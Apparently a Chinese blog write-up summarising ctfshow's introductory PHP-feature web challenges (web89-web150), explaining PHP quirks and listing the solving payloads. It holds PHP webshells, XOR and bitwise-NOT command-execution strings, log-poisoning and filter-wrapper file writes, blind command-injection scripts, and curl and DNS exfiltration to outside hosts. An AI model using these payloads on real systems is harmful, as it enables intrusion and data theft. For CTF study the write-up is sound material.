ctfshow web入门 php特性总结
1.web89
intval函数的利用,intval函数获取变量的整数值,失败时返回0,空的数组返回,非空数组返回1
num[]=1
intval ( mixed $var [, int $base = 10 ] ) : int
Note:
如果 base 是 0,通过检测 var 的格式来决定使用的进制:
如果字符串包括了 "0x" (或 "0X") 的前缀,使用 16 进制 (hex);否则,
如果字符串以 "0" 开始,使用 8 进制(octal);否则,
将使用 10 进制 (decimal)。
2.web90
intval函数的利用,怎么进行取整,php强类型比较
intval('4476.0')===4476 小数点
intval('+4476.0')===4476 正负号
intval('4476e0')===4476 科学计数法
intval('0x117c')===4476 16进制
intval('010574')===4476 8进制
intval(' 010574')===4476 8进制+空格
3.web91
利用的正则表达式的多行匹配if(preg_match(/^php/im,KaTeX parse error: Expected '}', got 'EOF' at end of input: …match(/^php/i),a){echo ‘hacker’;}}
第一个开启了多行匹配
a%0aphp
4.web92
php弱类型比较和intval取整,ph弱类型比较会进行类型转换
只能使用进制绕过了
intval('0x117c')==4476 16进制
intval('010574')==4476 8进制
intval(' 010574')==4476 8进制+空格
5.web93
php弱类型比较和intval取整,过滤了字母
使用8进制
intval('010574')==4476 8进制
intval(' 010574')==4476 8进制+空格
6.web94
php强类型比较和intval取整,过滤了字母和0,if(!strpos($a,‘0’)){die (‘no no’);}
strpos — 查找字符串首次出现的位置,不能使用8进制了,但是可以使用空格+8进制
intval(' 010574')==4476 8进制+空格
intval('4476.0')===4476 小数点
intval('+4476.0')===4476 正负号
7.web95
php强类型比较和intval取整,过滤了字母和0还有点
intval(' 010574')==4476 8进制+空格
8.web96
目录遍历
./flag.php
/var/www/html/flag.php
9.web97
md5值比较,数字不相等但是md5值相等,可以用数组绕过
数组的md5值为null
a[]=1&a[]=2
10.web98
&引用,表示不同变量名的值指向同一个值,get变量被post变量覆盖
get:1=1 post:HTTP_FLAG=flag
11.web99
in_arry弱类型比较和rand(min,max)返回min到max之间的一个随机数([min,max]),arry_push往数组末尾添加一个数
in_array延用了php中的==
$allow = array('1','2','3');
var_dump(in_array('1.php',$allow));#true
新加进去的随机数字每次都包含1,1存在的几率是最大的
n=1.php post:content=<?php eval($_POST[1]);?>
12.web100
and与&&的区别和反射类的使用
&&与and都表示逻辑与,||与or都表示逻辑或
优先级&&>and>=,||>or>=
<?php
$a=true and false; #先赋值给true,后面false被忽略
var_dump($a); 返回true$a=true && false; #现进行&&操作,之后赋值
var_dump($b); 返回false
反射类
<?php
class A{
public static $flag="flag{123123123}";
const PI=3.14;
static function hello(){echo "hello</br>";
}
}
$a=new ReflectionClass('A');var_dump($a->getConstants()); 获取一组常量
输出array(1) {["PI"]=>float(3.14)
}var_dump($a->getName()); 获取类名
输出
string(1) "A"var_dump($a->getStaticProperties()); 获取静态属性
输出
array(1) {["flag"]=>string(15) "flag{123123123}"
}var_dump($a->getMethods()); 获取类中的方法
输出
array(1) {[0]=>object(ReflectionMethod)#2 (2) {["name"]=>string(5) "hello"["class"]=>string(1) "A"}
}
v1=1&v2=var_dump($ctfshow)/*&v3=*/;
v1=1&v2=?><?php echo `ls`?>/*&v3=;*/
13.web101
and与&&的区别和反射类的使用,过滤变多了,命令执行不了了,为啥反射类可利用,通过读取ctfshow.php发现flag是一个变量名
v1=1&v2=echo new ReflectionClass&v3=;
14.web102
bin2hex的使用,call_user_func
call_user_func — 把第一个参数作为回调函数调用,其余是参数
<?php
error_reporting(E_ALL);
function increment(&$var)
{$var++;
}$a = 0;
call_user_func('increment', $a);
echo $a."\n"; #0call_user_func_array('increment', array(&$a)); // You can use this instead before PHP 5.3
echo $a."\n"; #1
?>
v2必须有数字
$a='<?=`cat *`;'; //为什么用这个,主要是因为编码后带e,或者是编码后全部是数字
$b=base64_encode($a); // PD89YGNhdCAqYDs=
$c=bin2hex($b); //这里直接用去掉=的base64
//输出 5044383959474e6864434171594473
带e会被当做科学计数法,而base64去掉等号,不影响解码
bin2hex把ascii码转为16进制
php5中is_numeric函数认识16进制数,而php7这个函数不识别16进制数,
hex2bin将16进制转换为ascii码,<?php eval($_POST[1]);?>的16进制编码为0x3c3f706870206576616c28245f504f53545b315d293b3f3e
php5:
v2=0x3c3f706870206576616c28245f504f53545b315d293b3f3e&v3=1.php
post:v1=hex2bin
之后访问1.php
php7:
v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php
post: v1=hex2bin
需要随便填充一些数字,从第二个字符开始截取的(也就是第三个,是从0开始的)
之后访问1.php
15.web103
和web102一样
v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php
post v1=hex2bin
16.web104
sha1弱比较,出错了
v2=1
post v1=1
17.web105
变量覆盖,die可以带出数据
考查的是
变量覆盖,die可以带出数据,输出一条消息,退出脚本
变量覆盖是把变量的值当作另一个变量的名
$a='b';
$aa='c';
echo $a; #b
echo $b; #c
echo $$a; #c
分析:
有两个地方有变量覆盖,有两个die函数输出,最后一个die函数要用的话,必须设置flag,但是设置flag后就只有进行变量覆盖了,所以只能用第一个die函数里的error,需要考虑怎么通过变量覆盖使变量error和变量flag相等,还需要借助变量suces
当get 方式传入suces=flag,$key=suces,$value=flag
foreach($_GET as $key => $value){$$key=$$value; #变成了$suces=$flag,$suces的值是flag的值}
当post传入error=suces,$key=error,$value=suces
foreach($_POST as $key => $value){$$key=$$value; #变成了$error=$flag,$error的值是flag的值
}
get suces=flag
post error=suces
18.web106
sha1弱比较,数组课绕过
v2[]=1
v1[]=2
或者v1和v2随便用下面的一个,科学计数法为0
aaroZmOk 0e76658526655756207688271159624026011393
aaK1STfY 0e66507019969427134894567494305185566735
aaO8zKZF
aa3OFF9m
19.web107
md5弱比较,parse_str
数组绕过,md5不处理数组,返回null,v1不输入业返回null
parse_str将字符串解析成多个变量$str = "first=value&arr[]=foo+bar&arr[]=baz";
parse_str($str, $output);
echo $output['first']; // value
echo $output['arr'][0]; // foo bar
v3[]=1
v1=
20.web108
ereg %00截断, strrev()
strrev() 反转字符串
<?php
echo strrev("Hello world!"); // 输出 "!dlrow olleH"
?>
ereg 存在空字符截断(只会匹配%00前面的字符),这个函数匹配到为true,没有匹配到为false,877为0x36d的十进制数值
c=a%00778
21.web109
原生类利用,异常类和反射类
类可以输出,就是当类被当作字符串执行,会调用__trosting魔术方法,这个类要有这个魔术方法,并且要有返回值才可以输出,这个值要可控
class a{
public $b;
public function __constrcut($a){$this->b=$a
}
public funciton __toString(){
return $this->b;
}
}
$c=echo new a('aaa');
#v1=a
#v2=aaa
echo new Exception(system(‘echo phpinfo’)())
会先输出phpinfo,之后在执行phpinfo,最后抛出异常,需要执行完函数把函数的结果在通过异常进行抛出,执行顺序为什么时这样的因为不是这样的Exception(“system(‘echo phpinfo’)()”),不是当作一个整体进行输出,需要执行完才能把命令执行的结果当作整体进行输出
v1=Exception();system('tac f*');//&v2=a
v1=Exception&v2=system('tac f*'));//
v1=ReflectionClass&v2=system('tac f*')
22.web110
FilesystemIterator类利用
getcwd获取当前目录,DirectoryIterator遍历目录,文件名称(. … 1.c) FilesystemIterator遍历目录名+文件(/1.c),echo new DirectoryIterator(getcwd())只输出第一个
都是获取目录下的文件
v1=FilesystemIterator&v2=getcwd
23.web111
$GLOBALS 超全局变量利用
$GLOBALS —包含全局作用域中可用的全部变量
$v2=GLOBALS
$$v2=$GLOBALS
&$ v 2 表示取 v2表示取 v2表示取GLOBALS的所有值
&引用表示不同变量指向同一值
$a='djkad';
$b=&a;
echo $b; #djkad
echo $a; #djkad
var_dump($GLOBALS); #会输出$a,$b的值等
v1=ctfshow&v2=GLOBALS
24.web112
伪协议绕过is_file
php://filter/resource=flag.php
php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php
php://filter/read=convert.quoted-printable-encode/resource=flag.php
compress.zlib://flag.php
25.web113
/proc/self/root的用法和伪协议绕过is_file
/proc/self/root代表根目录,进行目录溢出,超过is_file能处理的最大长度就不认为是个文件了
compress.zlib://flag.php /proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/p roc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/pro c/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/ self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/se lf/root/proc/self/root/var/www/html/flag.php
26.web114
伪协议绕过is_file
php://filter/resource=/flag
27.web115
trim和is_numeric的绕过
string trim( string $str[, string $character_mask = " \t\n\r\0\x0B"] )
此函数返回字符串 str 去除首尾空白字符后的结果。如果不指定第二个参数,trim() 将去除这些字符:
◦ " " (ASCII 32 (0x20)),普通空格符。
◦ "\t" (ASCII 9 (0x09)),制表符。
◦ "\n" (ASCII 10 (0x0A)),换行符。
◦ "\r" (ASCII 13 (0x0D)),回车符。
◦ "\0" (ASCII 0 (0x00)),空字节符。
◦ "\x0B" (ASCII 11 (0x0B)),垂直制表符。
如何绕过is_numeric
除了数字和±.号以外还有 %09 %0a %0b %0c %0d %20
绕过trim和is_numeric
只有%0c
%0c36
28.web123
考查的$_SERVER变量和php变量名的转换 命令执行
在php中变量名字是由数字字母和下划线组成的,所以不论用post还是get传入变量名的时候都将空格、[,+、点转换为下划线,而传入[之后后面的空格、[,+、点就不会被转为下划线了
$_SERVER变量
1.cli模式(命令行)下
第一个参数$_SERVER[‘argv’][0]是脚本名,其余的是传递给脚本的参数
2.web网页模式下
在web页模式下必须在php.ini开启register_argc_argv配置项
设置register_argc_argv = On(默认是Off),重启服务, S E R V E R [ ‘ a r g v ’ ] 才会有效果这时候的 _SERVER[‘argv’]才会有效果 这时候的 SERVER[‘argv’]才会有效果这时候的_SERVER[‘argv’][0] = $_SERVER[‘QUERY_STRING’]
a r g v , argv, argv,argc在web模式下不适用
对于这题来说就是$a[0]= $_SERVER[‘QUERY_STRING’]
<?php
$a=$_SERVER['argv'];
var_dump($a);
#传入 a=1+fl0g=flag_give_me
#结果如下
array(2) { [0]=> string(3) "a=1" [1]=> string(17) "fl0g=flag_give_me" }
parse_str
parse_str
(PHP 4, PHP 5, PHP 7)
parse_str — 将字符串解析成多个变量
说明
void parse_str( string $encoded_string[, array &$result] )
如果 encoded_string 是 URL 传递入的查询字符串(query string),则将它解析为变量并设置到当前作用域(如果提供了 result 则会设置到该数组里 )<?php
$str = "first=value&arr[]=foo+bar&arr[]=baz";// 推荐用法
parse_str($str, $output);
echo $output['first']; // value
echo $output['arr'][0]; // foo bar
?>
1.
get: a=1+fl0g=flag_give_me
post: CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])
2.
CTF_SHOW=&CTF[SHOW.COM=&fun=echo $flag
3.
get: $fl0g=flag_give_me;
post:CTF_SHOW=1&CTF[SHOW.COM=1&fun=eval($a[0])
29.web125
get: a=1+fl0g=flag_give_me
post: CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])
30.web126
get: a=1+fl0g=flag_give_me
post: CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])
31.web127
变量名称符号转换
在php中变量名字是由数字字母和下划线组成的,所以不论用post还是get传入变量名的时候都将空格、[,+、点转换为下划线,而传入[之后后面的空格、[,+、点就不会被转为下划线了
?ctf show=ilove36d
32.web128
call_user_func 代码执行,gettext和get_defined_vars 和call_user_func
call_user_func
call_user_func
(PHP 4, PHP 5, PHP 7)
call_user_func — 把第一个参数作为回调函数调用
说明
mixed call_user_func( callable $callback[, mixed $parameter[, mixed $...]] )
第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数。 参数
callback
将被调用的回调函数(callable)。
parameter
0个或以上的参数,被传入回调函数。
gettext
string gettext( string $message) 返回输入的字符
_()==gettext() 是gettext()的拓展函数,开启text扩展,_是gettext的别名。需要php扩展目录下有php_gettext.dllecho gettext("Welcome to My PHP Application");
get_defined_vars()
get_defined_vars — 返回由所有已定义变量所组成的数组
?f1=_&f2=get_defined_vars
33.web129
目录穿越和stripos 用法
stripos
stripos
(PHP 5, PHP 7)
stripos — 查找字符串首次出现的位置(不区分大小写)
说明
mixed stripos( string $haystack, string $needle[, int $offset = 0] )
返回在字符串 haystack 中 needle 首次出现的数字位置。
与 strpos() 不同,stripos() 不区分大小写。 参数
haystack
在该字符串中查找。
needle
注意 needle 可以是一个单字符或者多字符的字符串。
如果 needle 不是一个字符串,那么它将被转换为整型并被视为字符顺序值。
offset
可选的 offset 参数,从字符此数量的开始位置进行搜索。如果是负数,就从字符末尾此数量的字符数开始统计。 返回值
返回 needle 存在于 haystack 字符串开始的位置(独立于偏移量)。同时注意字符串位置起始于 0,而不是 1。
如果未发现 needle 将返回 FALSE。
?f=/ctfshow/../../../../var/www/html/flag.php
34.web130
正则匹配的绕过
1.正则最大回溯次数绕过
PHP 为了防止正则表达式的拒绝服务攻击(reDOS),给 pcre 设定了一个回溯次数上限 pcre.backtrack_limit
回溯次数上限默认是 100 万。如果回溯次数超过了 100 万,preg_match 将不再返回非 1 和 0,而是 false。这样我们就可以绕过第一个正则表达式了。
python脚本
import requests
url=""
data={'f':'very'*250000+'ctfshow' } r=requests.post(url,data=data)
print(r.text)
2.直接绕过
f=ctfshow
35.web131
正则匹配的绕过
import requests
url=""
data={'f':'very'*250000+'360Dctfshow' } r=requests.post(url,data=data)
print(r.text)
36.web132
短路运算符 &&和||
username=admin&password=aa&code=admin
37.web133
无回显的shell_exec命令执行
get传参 F=`$F `;sleep 3
经过substr($F,0,6)截取后 得到 `$F `;
也就是会执行 eval("`$F `;");
我们把原来的$F带进去
eval("``$F `;sleep 3`");
也就是说最终会执行 ` `$F `;sleep 3 ` == shell_exec("`$F `;sleep 3");
前面的命令我们不需要管,但是后面的命令我们可以自由控制。
这样就在服务器上成功执行了 sleep 3
所以 最后就是一道无回显的命令执行题目了
写文件试了不行,应该是没权限
通过curl进行外带,curl只能带出一排数据,可以直接筛选flag进行带出
利用的平台是https://requestrepo.com/
F=`$F%20`;curl%20http://1gfmb9cm.requestrepo.com?1=`cat%20f*|grep%20flag`
38.web134
POST数组的覆盖
<?php
parse_str($_SERVER['QUERY_STRING']);
var_dump($_POST);?>
然后我们传入 _POST[‘a’]=123
会发现输出的结果为array(1) { ["‘a’"]=> string(3) “123” }
也就是说现在的$_POST[‘a’]存在并且值为123
题目中还有个extract($_POST)
extract() 函数从数组中将变量导入到当前的符号表,也就是说把键名当作变量名,值作为变量的值
这样的话 $a==123
_POST[key1]=36d&_POST[key2]=36d
39.web135
1.
访问1.txt即可
F=`$F `;cp flag.php 1.txt
2.ping外带
`cat flag.php|awk 'NR==2'`.6x1sys.dnslog.cn
awk利用NR一排排的带数据
40.web136
考察无回显的命令执行 使用linux中的tee命令
: ls /|tee 1 访问1下载查看文件1发现根目录下有flag
cat /f149_15_h3r3|tee 2 访问下载查看文件2
41.web137
考查call_user_func调用类的静态方法 ::调用
call_user_func
<?php
class myclass {static function say_hello(){echo "Hello!\n";}
}
$classname = "myclass";
call_user_func(array($classname, 'say_hello'));
call_user_func($classname .'::say_hello');
?>
ctfshow=ctfshow::getFlag
42.web138
考查call_user_func调用类的静态方法 数组传入调用
ctfshow[0]=ctfshow&ctfshow[1]=getFlag
43.web139
文件盲注
使用盲注的方式,跟sql的时间盲注差不多,这里利用的时linux的shell语法
import requests
import time
import string
str=string.ascii_letters+string.digits
result=""
for i in range(1,5): #知道flag在第四行,实际情况中把数字写大一些key=0for j in range(1,15): #文件名的长度大小if key==1:breakfor n in str:payload="if [ `ls /|awk 'NR=={0}'|cut -c {1}` == {2} ];then sleep 3;fi".format(i,j,n)#print(payload)url="http://877848b4-f5ed-4ec1-bfc1-6f44bf292662.chall.ctf.show?c="+payloadtry:requests.get(url,timeout=(2.5,2.5))except:result=result+nprint(result)breakif n=='9':key=1result+=" "
得出flag在根目录下的f149_15_h3r3中,继续盲注得出flag值
import requests
import time
import string
str=string.digits+string.ascii_lowercase+"-"
result=""
#key=0 #key我感觉可以不用加
for j in range(1,45):
# if key==1:
# break for n in str:payload="if [ `cat /f149_15_h3r3|cut -c {0}` == {1} ];then sleep 3;fi".format(j,n)#print(payload)url="http://877848b4-f5ed-4ec1-bfc1-6f44bf292662.chall.ctf.show?c="+payloadtry:requests.get(url,timeout=(2.5,2.5))except:result=result+nprint(result)break
awk nr从第几行开始
cut截取字符第几个字符
44.web140
弱类型比较,intval把非零数字转为0,而后面的ctfshow会进行类型转换,也会转换为0
f1=md5&f2=md5
f1=usleep&f2=usleep
f1=md5&f2=sleep
f1=sha1&f2=md5
45.web141
无字母数字的命令执行
或,异或,取反等运算都可以
v1=1&v2=1&v3=-("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%03%01%08%00%06%00"^"%60%60%7c%20%60%2a");
46.web143
无字母数字的命令执行
或,异或等运算都可以
v1=1&v2=1&v3=*("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%03%01%0b%00%06%00"^"%60%60%7f%20%60%2a")*
47.web145
无字母数字的命令执行
或,取反等运算都可以 三目运算符的使用
或,异或,取反命令构造脚本
#system('cat f*');
v1=1&v2=0&v3=?(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%D5):
48.web146
无字母数字的命令执行
或,取反等运算都可以位运算符逻辑运算符的使用
v1=1&v2=0&v3===(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%D5)|
v1=1&v2=0&v3=|(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%D5)|
web141-web146 无字母数字命令执行 或,异或,取反等运算符的使用
+,-,*,/,|,||,==,&,&& 绕过return,可以和函数一起使用
eval(return 1+phpinfo()+1)
eval(return 1|phpinfo()|1)
eval(return 1==phpinfo()||1)
49.web147
create_funciton的用法
if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)
%5c()绕过正则
php里默认命名空间是\,所有原生函数和类都在这个命名空间中。 普通调用一个函数,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路 径; 而如果写\function_name()这样调用函数,则其实是写了一个绝对路径。 如果你在其他namespace里调用系统类,就必须写绝对路径这种写 法
create_funciton
create_function('$a','echo $a."123"')
类似于
function f($a) {echo $a."123";
}
GET ?show=;};system('cat f*');//
POST ctf=%5ccreate_function
50.web148
无字母数字命令执行
异或运算(中文变量)
1.
("%08%02%08%09%05%0d"^"%7b%7b%7b%7d%60%60")("%03%01%09%01%06%02"^"%60%60%7d%21%60%28");2.
code=$哈="`{{{"^"?<>/";${$哈}[哼](${$哈}[嗯]);&哼=system&嗯=tac f*
其实也是利用异或构造
"`{{{"^"?<>/"; 异或出来的结果是 _GET
51.web149
条件竞争
ctf=1.php
show=<?php system('tac /c*';)?>
burp 抓包发送到intruder 一个不断发送上面数据 位置不设 payload 设为null 另一个不断访问1.php
非预期
ctf=index.php
show=<?php eval($_POST[1]);?>
52.web150
strrpos查找最后出现的位置,没有为flase
===优先级高于&&
extract导入当前符号表,也就是变量覆盖
$_SERVER [‘QUERY_STRING’] 表示获取get和post 中的参数和值
非预期 日志包含
ua <?php eval($_POST[1])?>get isVIP=TRUE
post ctf=/var/log/nginx/access.log&1=system('cat f*');
53.web150 plus
__autoload的函数在不在ctfshow类中
__autoload加载未定义的类,即进行类函数判断时会调用这个函数
__autoload函数会执行这个变量class
需要先构造__CTFSHOW__但是_被过滤了,.可以绕过,构造了这个变量
…CTFSHOW…,需要进行传值,因为原先并没有,而extract函数可以覆盖原先的变量,就变为了$CTFSHOW=phpinfo,class变量就是__ctfshow__变量,class的值为phpinfo,最后就会执行phpinfo
__autoload — 尝试加载未定义的类
最后构造?..CTFSHOW…=phpinfo就可以看到phpinfo信息啦
原因是…CTFSHOW…解析变量成__CTFSHOW__然后进行了变量覆盖,因为CTFSHOW是类就会使用
__autoload()函数方法,去加载,因为等于phpinfo就会去加载phpinfo
接下来就去getshell啦
get
..CTFSHOW..=phpinfo
相关文章:

ctfshow web入门 php特性总结
1.web89 intval函数的利用,intval函数获取变量的整数值,失败时返回0,空的数组返回,非空数组返回1 num[]1 intval ( mixed $var [, int $base 10 ] ) : int Note: 如果 base 是 0,通过检测 var 的格式来决定使用的进…...

Media Encoder 2024:未来媒体编码的新纪元 mac/win版
随着科技的飞速发展,媒体内容已成为我们日常生活中不可或缺的一部分。为了满足用户对高质量视频内容不断增长的需求,Media Encoder 2024应运而生,它凭借卓越的技术和创新的特性,重塑了媒体编码的未来。 Media Encoder 2024 mac/w…...
2024年AI辅助研发趋势:数智时代革新新引擎
随着科技的飞速发展,人工智能(AI)已经渗透到我们生活的方方面面,而在软件开发领域,AI辅助研发正成为一股不可忽视的力量。本文将探讨2024年AI辅助研发的趋势,以及它如何成为数智时代革新的新引擎。 AI辅助研…...

2024年家政预约上门服务小程序【用户端+商家端+师傅端】源码
024最新家政预约上门服务小程序源码 主要功能:商家入住,师傅入住,缴纳保正金 支持师傅,抢单派单 支持多城市多门下单,支持预约上门服务到店核销 支持补差价义价,支持区域服务限制 基于thinkphp和原生小程序开发...

数据结构:静态链表(编程技巧)
链表的元素用数组存储, 用数组的下标模拟指针。 一、理解 如果有些程序设计语言没有指针类型,如何实现链表? 在使用指针类型实现链表时,我们很容易就可以直接在内存中新建一块地址用于创建下一个结点,在逻辑上&#x…...
python中的**可以表示什么??
在Python中,** 有两个主要的用途: 作为幂运算符:a ** b 表示a的b次方。例如,2 ** 3 会返回 8,因为2的3次方等于8。 在函数调用或定义时作为关键字参数的解包: 当你有一个字典,并且你想将这个字…...

使用 Git 跟踪项目文件
本章内容为:用Django 写学习笔记程序第三章.2部署程序摘录,详情内容查看请跳转下方链接: 用Django 写学习笔记程序第三章.2部署程序 文章目录 使用 Git 跟踪项目文件虚拟环境中安装 gitgit 是什么git 安装完成后的简单配置创建项目忽略文件初…...
C++从零开始(day47)——set,map学习使用
这是关于一个普通双非本科大一学生的C的学习记录贴 在此前,我学了一点点C语言还有简单的数据结构,如果有小伙伴想和我一起学习的,可以私信我交流分享学习资料 那么开启正题 今天分享的是关于set和map的知识点 1.关联式容器 在前面&#…...

手机和电脑同步的好用记事本软件有哪些
我常常需要随手记录各种信息,以便随时查阅和使用。比如,在下班路上,我会用手机记录明天要处理的工作事项、购物清单,或是某个突然迸发的创意想法;而在办公室,我则需要在电脑上整理会议纪要、项目计划&#…...

使用CSS制作动态的环形图/饼图
使用纯 CSS Animation conic-gradient 实现一个环形图。 饼图的实现思路和环形图一样,去掉中间的圆形遮盖 after 伪类元素即可。 一、构建基础样式 构建圆形节点和中间的遮盖元素。 <style>body {background-color: rgb(130, 226, 255);}.circle {top: 16…...

掌握React中的useEffect:函数组件中的魔法钩子
🤍 前端开发工程师、技术日更博主、已过CET6 🍨 阿珊和她的猫_CSDN博客专家、23年度博客之星前端领域TOP1 🕠 牛客高级专题作者、打造专栏《前端面试必备》 、《2024面试高频手撕题》 🍚 蓝桥云课签约作者、上架课程《Vue.js 和 E…...

WPF 窗口添加投影效果Effect
BlurRadius:阴影半径 Color:颜色 Direction:投影方向 ShadowDepth:投影的深度 <Window.Effect><DropShadowEffect BlurRadius"10" Color"#FF858484" Direction"300" ShadowDepth&quo…...

Gitlab CICD 下载artifacts文件并用allure打开,或bat文件打开
allure命令行打开aritfacts报告 首先下载allure.zip,并解压 配置环境变量 使用命令行打开allure文件夹 allure open 2024-03-11-14-54-40 2024-03-11-14-54-40 包含index.html Bat文件打开artifacts There are 2 html reports in the download artifacts.zip S…...

鸿蒙Harmony应用开发—ArkTS声明式开发(基础手势:NavRouter)
导航组件,默认提供点击响应处理,不需要开发者自定义点击事件逻辑。 说明: 该组件从API Version 9开始支持。后续版本如有新增内容,则采用上角标单独标记该内容的起始版本。 子组件 必须包含两个子组件,其中第二个子组…...

Django环境下使用Ajax
Django环境下使用Ajax 目录 Django环境下使用Ajax介绍前情提要示例JS实现Ajax实现 传递JSON格式数据传递文件数据Django自带的序列化组件基于jsonresponse序列化数据基于Django自带的serializers 注册示例 介绍 AJAX 的主要目标是在不刷新整个页面的情况下,通过后台…...

官方安装配置要求服务器最低2核4G
官方安装配置要求服务器至少2核、4G。 如果服务器低于这个要求,就没有必要安装,因为用户体验超级差。 对于服务器CPU来说,建议2到4核就完全足够了,太多就浪费了,但是内存越大越好,最好是4G以上。 如果服务器…...

Apache的运用与实战
WEB服务器 1、WEB服务简介 # 目前最主流的三个Web服务器是Apache、Nginx、 IIS。 - WEB服务器一般指网站服务器,可以向浏览器等Web客户端提供网站的访问,让全世界浏览。 - WEB服务器也称为WWW(WORLD WIDE WEB)服务器,主要功能是提供网上信息…...

【漏洞复现】网康NS-ASG应用安全网关 index.php SQL注入漏洞(CVE-2024-2330)
0x01 产品简介 网康科技的NS-ASG应用安全网关是一款软硬件一体化的产品,集成了SSL和 IPSecQ,旨在保障业务访问的安全性,适配所有移动终端,提供多种链路均衡和选择技术,支持多种认证方式灵活组合,以及内置短…...

网络基础『 序列化与反序列化』
🔭个人主页: 北 海 🛜所属专栏: Linux学习之旅、神奇的网络世界 💻操作环境: CentOS 7.6 阿里云远程服务器 文章目录 🌤️前言🌦️正文1.协议的重要性2.什么是序列化与反序列化&…...

腾讯云和阿里云4核8G云服务器多少钱一年和1个月费用对比
4核8G云服务器多少钱一年?阿里云ECS服务器u1价格955.58元一年,腾讯云轻量4核8G12M带宽价格是646元15个月,阿腾云atengyun.com整理4核8G云服务器价格表,包括一年费用和1个月收费明细: 云服务器4核8G配置收费价格 阿里…...
golang循环变量捕获问题
在 Go 语言中,当在循环中启动协程(goroutine)时,如果在协程闭包中直接引用循环变量,可能会遇到一个常见的陷阱 - 循环变量捕获问题。让我详细解释一下: 问题背景 看这个代码片段: fo…...
Objective-C常用命名规范总结
【OC】常用命名规范总结 文章目录 【OC】常用命名规范总结1.类名(Class Name)2.协议名(Protocol Name)3.方法名(Method Name)4.属性名(Property Name)5.局部变量/实例变量(Local / Instance Variables&…...

1.3 VSCode安装与环境配置
进入网址Visual Studio Code - Code Editing. Redefined下载.deb文件,然后打开终端,进入下载文件夹,键入命令 sudo dpkg -i code_1.100.3-1748872405_amd64.deb 在终端键入命令code即启动vscode 需要安装插件列表 1.Chinese简化 2.ros …...
linux 错误码总结
1,错误码的概念与作用 在Linux系统中,错误码是系统调用或库函数在执行失败时返回的特定数值,用于指示具体的错误类型。这些错误码通过全局变量errno来存储和传递,errno由操作系统维护,保存最近一次发生的错误信息。值得注意的是,errno的值在每次系统调用或函数调用失败时…...

React19源码系列之 事件插件系统
事件类别 事件类型 定义 文档 Event Event 接口表示在 EventTarget 上出现的事件。 Event - Web API | MDN UIEvent UIEvent 接口表示简单的用户界面事件。 UIEvent - Web API | MDN KeyboardEvent KeyboardEvent 对象描述了用户与键盘的交互。 KeyboardEvent - Web…...
大模型多显卡多服务器并行计算方法与实践指南
一、分布式训练概述 大规模语言模型的训练通常需要分布式计算技术,以解决单机资源不足的问题。分布式训练主要分为两种模式: 数据并行:将数据分片到不同设备,每个设备拥有完整的模型副本 模型并行:将模型分割到不同设备,每个设备处理部分模型计算 现代大模型训练通常结合…...
css3笔记 (1) 自用
outline: none 用于移除元素获得焦点时默认的轮廓线 broder:0 用于移除边框 font-size:0 用于设置字体不显示 list-style: none 消除<li> 标签默认样式 margin: xx auto 版心居中 width:100% 通栏 vertical-align 作用于行内元素 / 表格单元格ÿ…...
力扣-35.搜索插入位置
题目描述 给定一个排序数组和一个目标值,在数组中找到目标值,并返回其索引。如果目标值不存在于数组中,返回它将会被按顺序插入的位置。 请必须使用时间复杂度为 O(log n) 的算法。 class Solution {public int searchInsert(int[] nums, …...

(一)单例模式
一、前言 单例模式属于六大创建型模式,即在软件设计过程中,主要关注创建对象的结果,并不关心创建对象的过程及细节。创建型设计模式将类对象的实例化过程进行抽象化接口设计,从而隐藏了类对象的实例是如何被创建的,封装了软件系统使用的具体对象类型。 六大创建型模式包括…...

从“安全密码”到测试体系:Gitee Test 赋能关键领域软件质量保障
关键领域软件测试的"安全密码":Gitee Test如何破解行业痛点 在数字化浪潮席卷全球的今天,软件系统已成为国家关键领域的"神经中枢"。从国防军工到能源电力,从金融交易到交通管控,这些关乎国计民生的关键领域…...